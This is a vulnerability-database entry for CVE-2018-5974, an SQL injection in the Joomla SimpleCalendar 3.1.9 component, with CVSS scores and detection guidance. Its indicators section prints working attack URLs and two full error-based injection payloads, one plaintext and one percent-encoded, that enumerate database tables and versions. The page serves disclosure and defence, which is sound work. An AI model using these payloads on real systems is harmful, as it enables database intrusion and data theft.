CVE-2018-5974

published 2018-02-17

CVE-2018-5974: SQL Injection exists in the SimpleCalendar 3.1.9 component for Joomla! via the catid array parameter.

Priority P2 64 critical 9.8 CVSS 3.0

AV N AC L PR N UI N S U C H I H A H

EXPLOIT

SQL Injection exists in the SimpleCalendar 3.1.9 component for Joomla! via the catid array parameter.

Affected

1 ranges

Vendor	Product	Version range	Fixed in
albonico	simplecalendar	—	—

Detection & IOCs extracted from sources · hover to see the quote

url index.php?option=com_simplecalendar&view=events&catid[0]=[SQL]↗

url index.php?option=com_simplecalendar&view=events&catid[VerAyari]=[SQL]↗

command catid[VerAyari]=(/*!02225UPDATEXML*/(66,CONCAT(0x3a,(/*!02225SELECT*/+GROUP_CONCAT(table_name+SEPARATOR+0x3a)+FROM+INFORMATION_SCHEMA.TABLES+/*!02225WHERE*/+TABLE_SCHEMA=DATABASE()),(ELT(1=1,1))),1))↗

command catid[0]=%28%55%50%44%41%54%45%58%4d%4c%28%30%2c%2f%2a%21%30%31%31%31%31%43%4f%4e%43%41%54%2a%2f%280x2e%2c%76%65%72%73%69%6f%6e%28%29%2c0x7e7e7e7e%2c%28%53%45%4c%45%43%54%20%28%45%4c%54%28%36%36%3d%36%36%2c%31%29%29%29%2c%64%61%74%61%62%61%73%65%28%29%29%2c2925%29%29↗

version SimpleCalendar 3.1.9↗

• → Detect SQL injection attempts against the Joomla SimpleCalendar component by monitoring HTTP requests containing 'option=com_simplecalendar' combined with array-style 'catid[' parameter keys (e.g., catid[0] or catid[VerAyari]) in the query string. ↗
• → Flag requests to com_simplecalendar containing MySQL error-based SQLi payloads using UPDATEXML or CONCAT with INFORMATION_SCHEMA.TABLES, which are characteristic of this exploit's enumeration technique. ↗
• → Alert on MySQL XPATH syntax error responses containing version strings (e.g., 'XPATH syntax error') in HTTP responses from Joomla endpoints, as this indicates successful error-based SQL injection data exfiltration. ↗
• → Detect use of MySQL conditional comment syntax (/*!02225 ... */) in HTTP query parameters targeting Joomla, as this is used to bypass naive keyword filters in this exploit. ↗

• · The exploit targets specifically version 3.1.9 of the SimpleCalendar Joomla component; other versions may or may not be affected. ↗
• · The PoC payloads include both URL-encoded and plaintext variants of the same injection, so detection rules must handle both encoded (percent-encoded) and decoded forms of the catid parameter. ↗

CVSS provenance

nvd v3.0 9.8 CRITICAL CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

nvd v2.0 7.5 HIGH AV:N/AC:L/Au:N/C:P/I:P/A:P

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